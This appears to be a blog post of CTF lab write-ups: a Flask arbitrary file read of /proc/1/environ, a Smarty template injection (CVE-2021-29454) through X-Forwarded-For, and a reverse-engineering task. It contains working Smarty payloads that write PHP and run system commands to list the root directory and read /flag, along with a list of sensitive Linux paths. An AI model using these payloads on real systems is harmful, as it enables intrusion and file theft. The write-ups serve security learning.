Featured image of post DASCTF2024十月赛

DASCTF2024十月赛

WEB

flow

创建实例,提示:

1
2
3
Welcome to My Flask App

This is a simple web app using Flask.  

给出了任意文件读功能

看看 flask 应用的目录结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
my_flask_app/
├── app/
│   ├── __init__.py
│   ├── routes/
│   │   ├── __init__.py
│   │   ├── main.py
│   │   └── auth.py
│   ├── models/
│   │   ├── __init__.py
│   │   └── user.py
│   ├── templates/
│   │   ├── layout.html
│   │   └── home.html
│   └── static/
│       ├── css/
│       └── js/
├── config.py
├── requirements.txt
├── migrations/
│   └── ...
└── run.py  

所以源码应该在 /app/main.py 中

读源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from flask import Flask, request, render_template_string, abort

app = Flask(__name__)

HOME_PAGE_HTML = '''
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Flask Web Application</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container mt-5">
    <h1 class="display-4 text-center">Welcome to My Flask App</h1>
    <p class="lead text-center">This is a simple web app using Flask.</p>
    <div class="text-center">
        <a href="/file?f=example.txt" class="btn btn-primary">Read example.txt</a>
    </div>
    </div>
</body>
</html>
'''

@app.route('/')
def index():
    return render_template_string(HOME_PAGE_HTML)

@app.route('/file')
def file():
    file_name = request.args.get('f')

    if not file_name:
        return "Error: No file parameter provided.", 400

    try:
        with open(file_name, 'r') as file:
            content = file.read()
        return content
    except FileNotFoundError:
        return abort(404, description="File not found.")
    except Exception as e:
        return f"Error reading file.", 500

if __name__ == '__main__':
    app.run(host="127.0.0.1", port=8080)  

尝试读环境变量,查资料得知,Linux 系统存在如下敏感路径(在存在获取任意文件读时)

1
/etc/passwd

该文件储存了该 Linux 系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录 Shell (以冒号作为分隔符)

1
/proc/self

proc 是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过 /proc/PID 可以访问对应 PID 的进程内核数据,而 /proc/self 访问的是当前进程的内核数据。

1
/proc/self/cmdline

该文件包含的内容为当前进程执行的命令行参数。

1
/proc/self/mem

/proc/self/mem 是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合 /proc/self/maps 中的偏移地址进行读取。通过参数 start 和 end 及偏移地址值读取内容。

1
/proc/self/maps

/proc/self/maps 包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。

1
flask-session结构

flask_session 是 flask 框架实现 session 功能的一个插件。其 session 结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号 “.”来进行分隔。flask_session 默认 session 的储存是在用户 Cookie 中。但也可以指定存储在数据库,缓存中间件,服务器本地文件等等之中。

查阅资料,得知 environ 文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开。变量用大写字母表示,其值用小写字母表示。可以通过查看 environ 目录来获取指定进程的环境变量信息

因此/file?f=/proc/1/environ读到flag

参考:

Proc 目录在 CTF 中的利用

攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹)

Flask 项目结构

DASCTF 2024 十月挑战赛

DASCTF十月赛其他题太过于抽象了 ~ >_< ~

[CISCN2019 华东南赛区] Web11 1

刚刚进入实例,一时不知所措

后面看到XFF

使用BP抓包,没发现什么特别的

在页面底部发现一行字:Build With Smarty !

查阅资料得知, Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。用户应升级到版本 3.1.42 或 4.0.2 以接收补丁。

CVE-2021-29454——Smarty模板注入

所以我们可以尝试注入如下代码:

1
string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

但传递这个Payload需要注入点,这里只有XFF可以入手

BP这样写:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
GET / HTTP/1.1
Host: node5.buuoj.cn:25829
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
X-Forwarded-For: string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}
Content-Length: 2

发送两次,发现读到环境变量,代码执行成功

然后XFF传递string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+eval(system('ls /'));",$s)}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
usr
var

读到存在flag目录,直接 cat /flag

XFF payload: string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+eval(system('cat /flag'));",$s)}

得到flag

Reverse

[BJDCTF2020]JustRE

IDA打开

main函数中似乎没有什么有用的东西

点击菜单栏的“View”(视图)>“Open subviews”(打开子视图)>“Strings”(字符串)打开字符串窗口

发现BJD{%d%d2069a45792d233ac},跟进看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
INT_PTR __stdcall DialogFunc(HWND hWnd, UINT a2, WPARAM a3, LPARAM a4)
{
CHAR String[100]; // [esp+0h] [ebp-64h] BYREF

if ( a2 != 272 )
{
    if ( a2 != 273 )
    return 0;
    if ( (_WORD)a3 != 1 && (_WORD)a3 != 2 )
    {
    sprintf(String, Format, ++dword_4099F0);
    if ( dword_4099F0 == 19999 )
    {
        sprintf(String, " BJD{%d%d2069a45792d233ac}", 19999, 0);
        SetWindowTextA(hWnd, String);
        return 0;
    }
    SetWindowTextA(hWnd, String);
    return 0;
    }
    EndDialog(hWnd, (unsigned __int16)a3);
}
return 1;
}  

这里判断是否点击次数是19999次,Format 点进去是‘您已经点了 %d 次’,说明dword_4099F0存的是点击次数。然后判断是否点击19999次,输出BJD{1999902069a45792d233ac}

说明flag是BJD{1999902069a45792d233ac}

参考:

[BJDCTF2020]JustRE

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计